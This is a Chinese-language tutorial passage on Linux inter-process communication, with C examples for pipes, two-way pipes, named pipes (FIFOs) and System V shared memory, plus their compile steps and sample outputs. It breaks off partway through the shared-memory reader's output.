#include<unistd.h> ssize_t write(int fd, void *buf, size_t count)
上述系统调用是写入指定文件,参数为文件描述符 fd、分配了内存的正确缓冲区(静态或动态)以及缓冲区的大小。
文件描述符 ID 用于识别相应的文件,该文件描述符在调用 open() 或 pipe() 系统调用后返回。
在写入文件之前,需要打开该文件。在调用 pipe() 系统调用时,它会自动打开。
此调用在成功时返回写入的字节数(或在没有写入任何内容时返回零),在失败时返回 -1。如果失败,则会在适当的位置设置错误编号。
要了解失败的原因,请检查 errno 变量或 perror() 函数。
示例程序
以下是一些示例程序。
示例程序 1 - 使用管道写入和读取两条消息的程序。
算法
步骤 1 - 创建管道。
步骤 2 - 向管道发送消息。
步骤 3 - 从管道检索消息并将其写入标准输出。
步骤 4 - 向管道发送另一条消息。
步骤 5 - 从管道检索消息并将其写入标准输出。
注意 - 也可以在发送完所有消息后检索消息。
源代码:simplepipe.c
#include<stdio.h> #include<unistd.h> int main() { int pipefds[2]; int returnstatus; char writemessages[2][20]={"Hi", "Hello"}; char readmessage[20]; returnstatus = pipe(pipefds); if (returnstatus == -1) { printf("Unable to create pipe\n"); return 1; } printf("Writing to pipe - Message 1 is %s\n", writemessages[0]); write(pipefds[1], writemessages[0], sizeof(writemessages[0])); read(pipefds[0], readmessage, sizeof(readmessage)); printf("Reading from pipe – Message 1 is %s\n", readmessage); printf("Writing to pipe - Message 2 is %s\n", writemessages[0]); write(pipefds[1], writemessages[1], sizeof(writemessages[0])); read(pipefds[0], readmessage, sizeof(readmessage)); printf("Reading from pipe – Message 2 is %s\n", readmessage); return 0; }
注意 - 理想情况下,需要检查每个系统调用的返回状态。为了简化流程,并非所有调用的检查都已完成。
执行步骤
编译
gcc -o simplepipe simplepipe.c
执行/输出
Writing to pipe - Message 1 is Hi Reading from pipe – Message 1 is Hi Writing to pipe - Message 2 is Hi Reading from pipe – Message 2 is Hell
示例程序 2 - 使用父进程和子进程通过管道写入和读取两条消息的程序。
算法
步骤 1 - 创建管道。
步骤 2 - 创建子进程。
步骤 3 - 父进程写入管道。
步骤 4 - 子进程从管道检索消息并将其写入标准输出。
步骤 5 - 再次重复步骤 3 和步骤 4。
源代码:pipewithprocesses.c
#include<stdio.h> #include<unistd.h> int main() { int pipefds[2]; int returnstatus; int pid; char writemessages[2][20]={"Hi", "Hello"}; char readmessage[20]; returnstatus = pipe(pipefds); if (returnstatus == -1) { printf("Unable to create pipe\n"); return 1; } pid = fork(); // Child process if (pid == 0) { read(pipefds[0], readmessage, sizeof(readmessage)); printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage); read(pipefds[0], readmessage, sizeof(readmessage)); printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage); } else { //Parent process printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]); write(pipefds[1], writemessages[0], sizeof(writemessages[0])); printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]); write(pipefds[1], writemessages[1], sizeof(writemessages[1])); } return 0; }
执行步骤
编译
gcc pipewithprocesses.c –o pipewithprocesses
执行
Parent Process - Writing to pipe - Message 1 is Hi Parent Process - Writing to pipe - Message 2 is Hello Child Process - Reading from pipe – Message 1 is Hi Child Process - Reading from pipe – Message 2 is Hello
使用管道进行双向通信
管道通信被视为仅单向通信,即父进程写入子进程读取,反之亦然,但两者不能同时进行。但是,如果父进程和子进程都需要同时写入和读取管道,则可以使用双向通信管道来解决。需要两个管道才能建立双向通信。
以下是实现双向通信的步骤:
步骤 1 - 创建两个管道。第一个用于父进程写入子进程读取,例如 pipe1。第二个用于子进程写入父进程读取,例如 pipe2。
步骤 2 - 创建子进程。
步骤 3 - 关闭不需要的端点,因为每个通信只需要一个端点。
步骤 4 - 在父进程中关闭不需要的端点,即 pipe1 的读取端和 pipe2 的写入端。
步骤 5 - 在子进程中关闭不需要的端点,即 pipe1 的写入端和 pipe2 的读取端。
步骤 6 - 根据需要执行通信。
示例程序
示例程序 1 - 使用管道实现双向通信。
算法
步骤 1 - 创建 pipe1 用于父进程写入和子进程读取。
步骤 2 - 创建 pipe2 用于子进程写入和父进程读取。
步骤 3 - 关闭父进程和子进程侧管道不需要的端点。
步骤 4 - 父进程写入消息,子进程读取并在屏幕上显示。
步骤 5 - 子进程写入消息,父进程读取并在屏幕上显示。
源代码:twowayspipe.c
#include<stdio.h> #include<unistd.h> int main() { int pipefds1[2], pipefds2[2]; int returnstatus1, returnstatus2; int pid; char pipe1writemessage[20] = "Hi"; char pipe2writemessage[20] = "Hello"; char readmessage[20]; returnstatus1 = pipe(pipefds1); if (returnstatus1 == -1) { printf("Unable to create pipe 1 \n"); return 1; } returnstatus2 = pipe(pipefds2); if (returnstatus2 == -1) { printf("Unable to create pipe 2 \n"); return 1; } pid = fork(); if (pid != 0) // Parent process { close(pipefds1[0]); // Close the unwanted pipe1 read side close(pipefds2[1]); // Close the unwanted pipe2 write side printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage); write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage)); read(pipefds2[0], readmessage, sizeof(readmessage)); printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage); } else { //child process close(pipefds1[1]); // Close the unwanted pipe1 write side close(pipefds2[0]); // Close the unwanted pipe2 read side read(pipefds1[0], readmessage, sizeof(readmessage)); printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage); printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage); write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage)); } return 0; }
执行步骤
编译
gcc twowayspipe.c –o twowayspipe
执行
In Parent: Writing to pipe 1 – Message is Hi In Child: Reading from pipe 1 – Message is Hi In Child: Writing to pipe 2 – Message is Hello In Parent: Reading from pipe 2 – Message is Hello
进程间通信 - 命名管道
管道旨在用于相关进程之间的通信。我们能否将管道用于不相关的进程通信,例如,我们想从一个终端执行客户端程序,从另一个终端执行服务器程序?答案是否定的。那么如何实现不相关进程的通信呢?简单的答案是命名管道。即使这适用于相关进程,但将命名管道用于相关进程通信也没有意义。
我们使用一个管道进行单向通信,使用两个管道进行双向通信。命名管道是否也适用相同的条件?答案是否定的,我们可以使用单个命名管道进行双向通信(服务器和客户端之间的通信,以及客户端和服务器同时进行的通信),因为命名管道支持双向通信。
命名管道的另一个名称是FIFO(先进先出)。让我们看看创建命名管道的系统调用(mknod()),它是一种特殊的文件。
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> int mknod(const char *pathname, mode_t mode, dev_t dev);
此系统调用将创建特殊文件或文件系统节点,例如普通文件、设备文件或FIFO。系统调用的参数为路径名、模式和dev。路径名以及模式和设备信息的属性。路径名是相对的,如果未指定目录,则将在当前目录中创建。指定的模式是文件的模式,它指定文件类型,例如文件类型和文件模式,如下表所示。dev字段用于指定设备信息,例如主设备号和次设备号。
文件类型 | 描述 | 文件类型 | 描述 |
---|---|---|---|
S_IFBLK | 块特殊文件 | S_IFREG | 普通文件 |
S_IFCHR | 字符特殊文件 | S_IFDIR | 目录 |
S_IFIFO | FIFO特殊文件 | S_IFLNK | 符号链接 |
文件模式 | 描述 | 文件模式 | 描述 |
---|---|---|---|
S_IRWXU | 所有者可读、可写、可执行/搜索 | S_IWGRP | 组可写权限 |
S_IRUSR | 所有者可读权限 | S_IXGRP | 组可执行/搜索权限 |
S_IWUSR | 所有者可写权限 | S_IRWXO | 其他用户可读、可写、可执行/搜索 |
S_IXUSR | 所有者可执行/搜索权限 | S_IROTH | 其他用户可读权限 |
S_IRWXG | 组可读、可写、可执行/搜索 | S_IWOTH | 其他用户可写权限 |
S_IRGRP | 组可读权限 | S_IXOTH | 其他用户可执行/搜索权限 |
文件模式也可以用八进制表示法表示,例如0XYZ,其中X代表所有者,Y代表组,Z代表其他用户。X、Y或Z的值范围为0到7。读、写和执行的值分别为4、2、1。如果需要读、写和执行的组合,则相应地添加这些值。
例如,如果我们提到0640,则表示所有者可读可写(4 + 2 = 6),组可读(4),其他用户无权限(0)。
此调用在成功时返回零,在失败时返回 -1。要了解失败的原因,请检查 errno 变量或 perror() 函数。
#include <sys/types.h> #include <sys/stat.h> int mkfifo(const char *pathname, mode_t mode)
此库函数创建一个FIFO特殊文件,用于命名管道。此函数的参数为文件名和模式。文件名可以是绝对路径或相对路径。如果未给出完整路径名(或绝对路径),则将在执行进程的当前文件夹中创建文件。文件模式信息如mknod()系统调用中所述。
此调用在成功时返回零,在失败时返回 -1。要了解失败的原因,请检查 errno 变量或 perror() 函数。
让我们考虑一个在某个终端上运行服务器并在另一个终端上运行客户端的程序。该程序将仅执行单向通信。客户端接受用户输入并将消息发送到服务器,服务器在输出上打印消息。该过程将持续进行,直到用户输入字符串“end”。
让我们通过一个示例来了解这一点:
步骤1 - 创建两个进程,一个是fifoserver,另一个是fifoclient。
步骤2 - 服务器进程执行以下操作:
创建一个名为“MYFIFO”的命名管道(使用系统调用mknod()),如果尚未创建。
以只读方式打开命名管道。
这里,创建的FIFO对所有者具有读写权限。组可读,其他用户无权限。
无限期地等待来自客户端的消息。
如果从客户端接收到的消息不是“end”,则打印消息。如果消息是“end”,则关闭fifo并结束进程。
步骤3 - 客户端进程执行以下操作:
以只写方式打开命名管道。
接受来自用户的字符串。
检查用户是否输入“end”或除“end”之外的其他内容。无论哪种方式,它都会向服务器发送消息。但是,如果字符串是“end”,则这将关闭FIFO并结束进程。
无限期地重复,直到用户输入字符串“end”。
现在让我们看一下FIFO服务器文件。
/* Filename: fifoserver.c */ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define FIFO_FILE "MYFIFO" int main() { int fd; char readbuf[80]; char end[10]; int to_end; int read_bytes; /* Create the FIFO if it does not exist */ mknod(FIFO_FILE, S_IFIFO|0640, 0); strcpy(end, "end"); while(1) { fd = open(FIFO_FILE, O_RDONLY); read_bytes = read(fd, readbuf, sizeof(readbuf)); readbuf[read_bytes] = '\0'; printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf)); to_end = strcmp(readbuf, end); if (to_end == 0) { close(fd); break; } } return 0; }
编译和执行步骤
Received string: "this is string 1" and length is 16 Received string: "fifo test" and length is 9 Received string: "fifo client and server" and length is 22 Received string: "end" and length is 3
现在,让我们看一下FIFO客户端示例代码。
/* Filename: fifoclient.c */ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define FIFO_FILE "MYFIFO" int main() { int fd; int end_process; int stringlen; char readbuf[80]; char end_str[5]; printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n"); fd = open(FIFO_FILE, O_CREAT|O_WRONLY); strcpy(end_str, "end"); while (1) { printf("Enter string: "); fgets(readbuf, sizeof(readbuf), stdin); stringlen = strlen(readbuf); readbuf[stringlen - 1] = '\0'; end_process = strcmp(readbuf, end_str); //printf("end_process is %d\n", end_process); if (end_process != 0) { write(fd, readbuf, strlen(readbuf)); printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf)); } else { write(fd, readbuf, strlen(readbuf)); printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf)); close(fd); break; } } return 0; }
让我们看一下到达的输出。
编译和执行步骤
FIFO_CLIENT: Send messages, infinitely, to end enter "end" Enter string: this is string 1 Sent string: "this is string 1" and string length is 16 Enter string: fifo test Sent string: "fifo test" and string length is 9 Enter string: fifo client and server Sent string: "fifo client and server" and string length is 22 Enter string: end Sent string: "end" and string length is 3
使用命名管道的双向通信
管道之间的通信旨在是单向的。通常,管道仅限于单向通信,并且需要至少两个管道才能进行双向通信。管道仅用于相关进程。管道不能用于不相关进程的通信,例如,如果我们想从一个终端执行一个进程,从另一个终端执行另一个进程,则使用管道是不可能的。我们是否有任何简单的方法来简单地在这两个进程之间(例如不相关进程)进行通信?答案是肯定的。命名管道旨在用于两个或多个不相关进程之间的通信,并且还可以进行双向通信。
我们已经看到了命名管道之间的单向通信,即从客户端到服务器的消息。现在,让我们看一下双向通信,即客户端向服务器发送消息,服务器接收消息并使用相同的命名管道向客户端发送另一条消息。
以下是一个示例:
步骤1 - 创建两个进程,一个是fifoserver_twoway,另一个是fifoclient_twoway。
步骤2 - 服务器进程执行以下操作:
创建一个名为“fifo_twoway”的命名管道(使用库函数mkfifo()),位于/tmp目录下,如果尚未创建。
以读写方式打开命名管道。
这里,创建的FIFO对所有者具有读写权限。组可读,其他用户无权限。
无限期地等待来自客户端的消息。
如果从客户端接收到的消息不是“end”,则打印消息并反转字符串。反转后的字符串将发送回客户端。如果消息是“end”,则关闭fifo并结束进程。
步骤3 - 客户端进程执行以下操作:
以读写方式打开命名管道。
接受来自用户的字符串。
检查用户是否输入“end”或除“end”之外的其他内容。无论哪种方式,它都会向服务器发送消息。但是,如果字符串是“end”,则这将关闭FIFO并结束进程。
如果发送的消息不是“end”,则它将等待来自客户端的消息(反转后的字符串)并打印反转后的字符串。
无限期地重复,直到用户输入字符串“end”。
现在,让我们看一下FIFO服务器示例代码。
/* Filename: fifoserver_twoway.c */ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define FIFO_FILE "/tmp/fifo_twoway" void reverse_string(char *); int main() { int fd; char readbuf[80]; char end[10]; int to_end; int read_bytes; /* Create the FIFO if it does not exist */ mkfifo(FIFO_FILE, S_IFIFO|0640); strcpy(end, "end"); fd = open(FIFO_FILE, O_RDWR); while(1) { read_bytes = read(fd, readbuf, sizeof(readbuf)); readbuf[read_bytes] = '\0'; printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf)); to_end = strcmp(readbuf, end); if (to_end == 0) { close(fd); break; } reverse_string(readbuf); printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf)); write(fd, readbuf, strlen(readbuf)); /* sleep - This is to make sure other process reads this, otherwise this process would retrieve the message */ sleep(2); } return 0; } void reverse_string(char *str) { int last, limit, first; char temp; last = strlen(str) - 1; limit = last/2; first = 0; while (first < last) { temp = str[first]; str[first] = str[last]; str[last] = temp; first++; last--; } return; }
编译和执行步骤
FIFOSERVER: Received string: "LINUX IPCs" and length is 10 FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10 FIFOSERVER: Received string: "Inter Process Communication" and length is 27 FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27 FIFOSERVER: Received string: "end" and length is 3
现在,让我们看一下FIFO客户端示例代码。
/* Filename: fifoclient_twoway.c */ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define FIFO_FILE "/tmp/fifo_twoway" int main() { int fd; int end_process; int stringlen; int read_bytes; char readbuf[80]; char end_str[5]; printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n"); fd = open(FIFO_FILE, O_CREAT|O_RDWR); strcpy(end_str, "end"); while (1) { printf("Enter string: "); fgets(readbuf, sizeof(readbuf), stdin); stringlen = strlen(readbuf); readbuf[stringlen - 1] = '\0'; end_process = strcmp(readbuf, end_str); //printf("end_process is %d\n", end_process); if (end_process != 0) { write(fd, readbuf, strlen(readbuf)); printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf)); read_bytes = read(fd, readbuf, sizeof(readbuf)); readbuf[read_bytes] = '\0'; printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf)); } else { write(fd, readbuf, strlen(readbuf)); printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf)); close(fd); break; } } return 0; }
编译和执行步骤
FIFO_CLIENT: Send messages, infinitely, to end enter "end" Enter string: LINUX IPCs FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10 FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10 Enter string: Inter Process Communication FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27 FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27 Enter string: end FIFOCLIENT: Sent string: "end" and string length is 3
共享内存
共享内存是两个或多个进程之间共享的内存。但是,为什么我们需要共享内存或其他一些通信方式呢?
重申一下,每个进程都有自己的地址空间,如果任何进程想要与其自身地址空间中的某些信息与其他进程通信,则只有使用IPC(进程间通信)技术才能实现。正如我们已经意识到的,通信可以发生在相关或不相关进程之间。
通常,相关进程通信使用管道或命名管道执行。不相关进程(例如一个进程在一个终端中运行,另一个进程在另一个终端中运行)通信可以使用命名管道或通过流行的IPC技术共享内存和消息队列执行。
我们已经看到了管道和命名管道的IPC技术,现在是时候了解剩余的IPC技术了,即共享内存、消息队列、信号量、信号和内存映射。
在本章中,我们将了解有关共享内存的所有内容。
我们知道,为了在两个或多个进程之间进行通信,我们使用共享内存,但在使用共享内存之前,需要对系统调用执行哪些操作,让我们看看:
创建共享内存段或使用已创建的共享内存段(shmget())
将进程附加到已创建的共享内存段(shmat())
从已附加的共享内存段分离进程(shmdt())
控制共享内存段上的操作(shmctl())
让我们看一下与共享内存相关的几个系统调用的详细信息。
#include <sys/ipc.h> #include <sys/shm.h> int shmget(key_t key, size_t size, int shmflg)
上述系统调用创建或分配一个System V共享内存段。需要传递的参数如下:
第一个参数key识别共享内存段。key可以是任意值,也可以是从库函数ftok()派生的值。key也可以是IPC_PRIVATE,这意味着,运行进程作为服务器和客户端(父进程和子进程关系),即相关进程通信。如果客户端想要使用此key的共享内存,则它必须是服务器的子进程。此外,子进程需要在父进程获得共享内存后创建。
第二个参数size是共享内存段的大小,四舍五入到PAGE_SIZE的倍数。
第三个参数shmflg指定所需的共享内存标志,例如IPC_CREAT(创建新段)或IPC_EXCL(与IPC_CREAT一起使用以创建新段,如果段已存在,则调用失败)。还需要传递权限。
注意 - 请参阅前面的部分以了解有关权限的详细信息。
此调用将在成功时返回有效的共享内存标识符(用于后续的共享内存调用),在失败时返回-1。要了解失败的原因,请检查errno变量或perror()函数。
#include <sys/types.h> #include <sys/shm.h> void * shmat(int shmid, const void *shmaddr, int shmflg)
上述系统调用对System V共享内存段执行共享内存操作,即将共享内存段附加到调用进程的地址空间。需要传递的参数如下:
第一个参数shmid是共享内存段的标识符。此id是共享内存标识符,它是shmget()系统调用的返回值。
第二个参数shmaddr用于指定附加地址。如果shmaddr为NULL,则系统默认选择合适的地址来附加段。如果shmaddr不为NULL并且在shmflg中指定了SHM_RND,则附加等于SHMLBA(下边界地址)的最近倍数的地址。否则,shmaddr必须是共享内存附加发生/开始的对齐页面地址。
第三个参数shmflg指定所需的共享内存标志,例如SHM_RND(将地址舍入到SHMLBA)或SHM_EXEC(允许执行段的内容)或SHM_RDONLY(以只读方式附加段,默认情况下为读写)或SHM_REMAP(替换shmaddr指定范围内现有的映射,并继续到段的末尾)。
此调用将在成功时返回附加的共享内存段的地址,在失败时返回-1。要了解失败的原因,请检查errno变量或perror()函数。
#include <sys/types.h> #include <sys/shm.h> int shmdt(const void *shmaddr)
上述系统调用对System V共享内存段执行共享内存操作,即从调用进程的地址空间分离共享内存段。需要传递的参数为:
参数shmaddr是要分离的共享内存段的地址。要分离的段必须是shmat()系统调用返回的地址。
此调用将在成功时返回0,在失败时返回-1。要了解失败的原因,请检查errno变量或perror()函数。
#include <sys/ipc.h> #include <sys/shm.h> int shmctl(int shmid, int cmd, struct shmid_ds *buf)
上述系统调用对System V共享内存段执行控制操作。需要传递以下参数:
第一个参数shmid是共享内存段的标识符。此id是共享内存标识符,它是shmget()系统调用的返回值。
第二个参数cmd是要在共享内存段上执行所需控制操作的命令。
cmd的有效值为:
IPC_STAT − 将共享内存段结构体 shmid_ds 中每个成员的当前值信息复制到 buf 指向的结构体中。此命令需要对共享内存段具有读取权限。
IPC_SET − 设置结构体 buf 指向的拥有者用户 ID、组 ID、权限等。
IPC_RMID − 标记共享内存段以供销毁。只有在最后一个进程分离后,该段才会被销毁。
IPC_INFO − 将共享内存限制和参数信息返回到 buf 指向的结构体中。
SHM_INFO − 返回一个 shm_info 结构体,其中包含共享内存消耗的系统资源信息。
第三个参数 buf 是指向名为 struct shmid_ds 的共享内存结构体的指针。此结构体中的值将根据 cmd 用于设置或获取。
此调用根据传递的命令返回相应的值。IPC_INFO 和 SHM_INFO 或 SHM_STAT 成功时返回共享内存段的索引或标识符,其他操作返回 0,失败时返回 -1。要了解失败的原因,请检查 errno 变量或 perror() 函数。
让我们考虑以下示例程序。
创建两个进程,一个用于写入共享内存 (shm_write.c),另一个用于从共享内存读取 (shm_read.c)。
程序由写入进程 (shm_write.c) 执行共享内存写入操作,由读取进程 (shm_read.c) 执行共享内存读取操作。
在共享内存中,写入进程创建一个大小为 1K(以及标志)的共享内存并附加到共享内存。
写入进程将字母 'A' 到 'E' 各 1023 字节写入共享内存 5 次。最后一个字节表示缓冲区的结束。
读取进程将从共享内存读取数据并写入标准输出。
读取和写入进程的操作同时执行。
写入完成后,写入进程更新以指示写入共享内存完成(使用 struct shmseg 中的 complete 变量)。
读取进程执行共享内存读取操作,并在输出上显示结果,直到它收到写入进程完成的指示(struct shmseg 中的 complete 变量)。
为了简化并避免无限循环和程序复杂化,读取和写入进程操作执行几次。
以下是写入进程的代码(写入共享内存 - 文件:shm_write.c)
/* Filename: shm_write.c */ #include<stdio.h> #include<sys/ipc.h> #include<sys/shm.h> #include<sys/types.h> #include<string.h> #include<errno.h> #include<stdlib.h> #include<unistd.h> #include<string.h> #define BUF_SIZE 1024 #define SHM_KEY 0x1234 struct shmseg { int cnt; int complete; char buf[BUF_SIZE]; }; int fill_buffer(char * bufptr, int size); int main(int argc, char *argv[]) { int shmid, numtimes; struct shmseg *shmp; char *bufptr; int spaceavailable; shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT); if (shmid == -1) { perror("Shared memory"); return 1; } // Attach to the segment to get a pointer to it. shmp = shmat(shmid, NULL, 0); if (shmp == (void *) -1) { perror("Shared memory attach"); return 1; } /* Transfer blocks of data from buffer to shared memory */ bufptr = shmp->buf; spaceavailable = BUF_SIZE; for (numtimes = 0; numtimes < 5; numtimes++) { shmp->cnt = fill_buffer(bufptr, spaceavailable); shmp->complete = 0; printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt); bufptr = shmp->buf; spaceavailable = BUF_SIZE; sleep(3); } printf("Writing Process: Wrote %d times\n", numtimes); shmp->complete = 1; if (shmdt(shmp) == -1) { perror("shmdt"); return 1; } if (shmctl(shmid, IPC_RMID, 0) == -1) { perror("shmctl"); return 1; } printf("Writing Process: Complete\n"); return 0; } int fill_buffer(char * bufptr, int size) { static char ch = 'A'; int filled_count; //printf("size is %d\n", size); memset(bufptr, ch, size - 1); bufptr[size-1] = '\0'; if (ch > 122) ch = 65; if ( (ch >= 65) && (ch <= 122) ) { if ( (ch >= 91) && (ch <= 96) ) { ch = 65; } } filled_count = strlen(bufptr); //printf("buffer count is: %d\n", filled_count); //printf("buffer filled is:%s\n", bufptr); ch++; return filled_count; }
编译和执行步骤
Writing Process: Shared Memory Write: Wrote 1023 bytes Writing Process: Shared Memory Write: Wrote 1023 bytes Writing Process: Shared Memory Write: Wrote 1023 bytes Writing Process: Shared Memory Write: Wrote 1023 bytes Writing Process: Shared Memory Write: Wrote 1023 bytes Writing Process: Wrote 5 times Writing Process: Complete
以下是读取进程的代码(从共享内存读取并写入标准输出 - 文件:shm_read.c)
/* Filename: shm_read.c */ #include<stdio.h> #include<sys/ipc.h> #include<sys/shm.h> #include<sys/types.h> #include<string.h> #include<errno.h> #include<stdlib.h> #define BUF_SIZE 1024 #define SHM_KEY 0x1234 struct shmseg { int cnt; int complete; char buf[BUF_SIZE]; }; int main(int argc, char *argv[]) { int shmid; struct shmseg *shmp; shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT); if (shmid == -1) { perror("Shared memory"); return 1; } // Attach to the segment to get a pointer to it. shmp = shmat(shmid, NULL, 0); if (shmp == (void *) -1) { perror("Shared memory attach"); return 1; } /* Transfer blocks of data from shared memory to stdout*/ while (shmp->complete != 1) { printf("segment contains : \n\"%s\"\n", shmp->buf); if (shmp->cnt == -1) { perror("read"); return 1; } printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt); sleep(3); } printf("Reading Process: Reading Done, Detaching Shared Memory\n"); if (shmdt(shmp) == -1) { perror("shmdt"); return 1; } printf("Reading Process: Complete\n"); return 0; }
编译和执行步骤
segment contains : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" Reading Process: Shared Memory: Read 1023 bytes segment contains : "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" Reading Process: Shared Memory: Read 1023 bytes segment contains : "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 